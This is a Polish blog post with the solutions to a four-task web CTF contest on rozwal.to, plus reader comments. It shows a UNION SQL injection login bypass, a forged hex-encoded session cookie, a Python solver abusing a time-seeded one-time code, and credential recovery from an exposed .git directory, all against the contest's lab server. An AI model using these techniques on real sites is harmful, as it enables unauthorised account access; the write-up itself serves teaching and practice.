Niedawno organizowaliśmy konkurs na rozwal.to z paroma nagrodami pieniężnymi 3×300 pln.
W dość szybkim tempie otrzymaliśmy odpowiedzi, a zgodnie z obietnicą publikujemy też rozwiązania :)
Zadania rozwiązało dość sporo osób, ale na podium stoją: REV, Nazywam oraz quaker (rozwiązanie przesłane o 23:03 – czyli około 2 godziny po ogłoszeniu zadań) – którzy otrzymali po 300 pln netto od Securitum. Gratulacje!
Writeup by REV:
Zadanie 1
Zadanie z kategorii SQL injection, więc od razu próbujemy wysłać login=test’&password=test , na co serwer zwraca „Internal Server Error” najprawdopodobniej spowodowane błędem składni zapytania SQL.
Dodanie znaku # rozpoczynającego komentarz: login=test’#&password=test skutkuje poprawnym zalogowaniem na testowego użytkownika. Podobny payload z próbą zalogowania na admina: login=admin’#&password=test powoduje otrzymanie komunikatu o błędnym haśle. Nie mamy więc tutaj sprawdzenia hasła w samym zapytaniu, te natomiast zwracane jest z samego zapytania i porównywane później.
Możemy w takim wypadku użyć union by zwrócić nasz własny rekord. Metodą dodawania po jednym polu w union i sprawdzenia czy serwer nie zwraca błędu stwierdzamy, że aplikacja oczekuje dwóch pól – czyli najprawdopodniej loginu i hasła.
Jednak wysłanie login=’ union select 'admin’, 'test’#&password=test nadal skutkuje błędem. Hasła w bazie często są poddawane funkcjom skrótu – sprawdźmy md5: login=’ union select 'admin’, '098f6bcd4621d373cade4e832627b4f6’#&password=test : Bravo! The flag is ROZWAL_{Wellknown0ldTrick}.
Pomógł trochę fakt, że przypomniało mi się identyczne zadanie z konkursu z wejściówką na Secure 2016 (którą wtedy też wygrałem ;)). Gdyby nie przeszedł skrót md5 z hasła próbowałbym odzyskiwać bazę przez blind SQL injection.</div
Zadanie 2
Zadanie proponuje zalogować się jako test/test, co czynimy i otrzymujemy komunikat, że potrzebny będzie jednak admin. Aplikacja ustawia nam również ciastko: PHPSESSID=7b226964223a327d . Nie jest to standardowa wartość ciastka PHPSESSID. Po czym można to poznać na pierwszy rzut oka? Po długości – te jest za krótkie oraz po charsecie – powinno być zdecydowanie więcej liter, ponadto żadna nie jest większa od „d”. Pasuje to z kolei do hexów przedstawiających drukowalne znaki, czyli ciąg bajtów w zakresie od 0x20 do 0x7e.
Po zamianie otrzymujemy {„id”:2} . Zamieniamy 2 na 1, konwertujemy do hex-ów i podmieniamy ciastko:
You are logged in as admin! The flag is: ROZWAL_{ReallyWeakSessID}.
Zadanie 3
Znamy dane do logowania: test/test oraz admin/admin. Po pierwszym etapie logowania musimy dodatkowo podać kod, który widzimy dla konta testowego, ale nie dla admina. Po kilku próbach widzimy również, że kod zmienia się po każdym poprawnym wprowadzeniu loginu i hasła oraz przypisany jest do sesji.
Dość przypadkowo okazało się, że generowany jest ten sam kod jeżeli spróbujemy zalogować się w tej samej sekundzie. Może to sugerować, że seed służący do jego wygenerowania zależy tak naprawdę tylko od czasu. Możemy więc spróbować zalogować się jednocześnie na konto test oraz admin w dwóch sesjach, odczytać kod z sesji testowej i podać go w sesji admina.
Kompletny solver:
python
import re
import requests
code = re.findall('"(\d+)"', requests.post('http://172.104.131.19/july2017/3.php', data={'login': 'test', 'password': 'test'}, cookies={'zad3sess': 'test'}).content)[0]
requests.post('http://172.104.131.19/july2017/3.php', data={'login': 'admin', 'password': 'admin'}, cookies={'zad3sess': 'admin'})
print requests.post('http://172.104.131.19/july2017/3.php', data={'code': code, 'step1': ''}, cookies={'zad3sess': 'admin'}).content
You are logged in! And your flag is: ROZWAL_{EveryUserWithTHEsameSMScode}
Zadanie 4.
Komentarz sugeruje nam, że autor używa gita. Potwierdzamy, że razem ze stroną zdeployowany został katalog .git próbując pobrać jeden ze standardowych plików:
http://172.104.131.19/july2017/4/.git/config. Następnie używamy sprawdzonego narzędzia GitTools:
$ Dumper/gitdumper.sh http://172.104.131.19/july2017/4/.git/ repo
$ Extractor/extractor.sh repo repo
(...)
[+] Found file: (...)/repo/0-33be7c065ad1bcd62d80d3e4d0a8234d2b71c128/testing_users_names.txt
W pliku znajdujemy dane User: admin, pass: 330y49FbhD92f , które użyte do logowania dają nam: Hello admin! Here is your flag: ROZWAL_{DoNotEverEverForgetAboutGit}.
–ms
W temacie zadania nr 4. Na sekuraku jest bdb artykuł o dostępności na serwerze takich katalogów. https://sekurak.pl/ukryte-katalogi-i-pliki-jako-zrodlo-informacji-o-aplikacjach-internetowych/ Na podstawie wiedzy w nim przedstawionej można dojść do pliku z hasłem ręcznie tj. bez zautomatyzowanych narzędzi.
Jednakże, trzeba umieć to wyważyć. Brute-force to czasem nie narzędzie, a czasem bez tego nie dasz rady. Jak już mówimy o zbiorach, jest kilka narzędzi które mogą pomóc innym osobom w rozwiązaniu tego samego zadania. Ja np. często look’am w .git bo i nieintencjonalne rozwiązania zadań się zdarzają. Z automatycznych tooli, jeżeli nie dostrajasz ich, nie robią jednej konkretnej rzeczy dobrze, zwykle dostaje się śmieci, jednakże znów – w niektórych śmieciach możesz mieć dodatkowe info. Które później może Ci się przydać. To może nie na zadania z Rozwala ale łączenie elementów układanki przydaje się w szukaniu błędów wysokiego zagrożenia.
pytanie od web nooba :( odnosnie zadania nr.3
cookies={’zad3sess’: 'admin’} jak sprawdzam w cookie manager FireFoxa to podaje np. {’zad3sess’: 'o5dpsl5ees6tsgoertrl3km4c1′}
w jaki sposob ta wartosc jest kodowana ?
Po prostu Rev wysłał taką wartość jako cookie.
Ty przy get dostajesz od servera to co piszesz i kluczowe jest tylko aby puszczać tę wartość przy kolejnych requestach aby serwer wiedział, że to „ty”. Ta wartość, którą masz to nie jest zakodowane słowo „admin”.
Jako że mówiłeś że jesteś n00bem Wiktor16 (każdy jest, choć teraz już pewnie nie jesteś, może komuś innemu się przyda ;)) Poobserwuj sobie jakie rzeczy zwraca serwer. Na pierwszego GET’a otrzymujes nagłówek Set-Cookie, który mówi przeglądarce aby ustawić ciasteczko – czyli przy następnych żądaniach wysyłane w nagłówku Cookie. Jeszcze możesz sprawdzić taką wersję solvera (python3.8):
import re, requests
loc=”http://172.104.131.19/july2017/3.php”
admin_cks= {’zad3sess’:requests.get(url=loc).cookies.get(’zad3sess’)}
test_cks = {’zad3sess’:requests.get(url=loc).cookies.get(’zad3sess’)}
code = re.findall('”(\d+)”’, requests.post(url=loc, data ={’login’:’test’,’password’:’test’}, cookies=test_cks).text)[0]
requests.post(url=loc, data={’login’:’admin’,’password’:’admin’}, cookies=admin_cks)
print(requests.post(url=loc, data={’code’:code,’step1′:”}, cookies=admin_cks).text)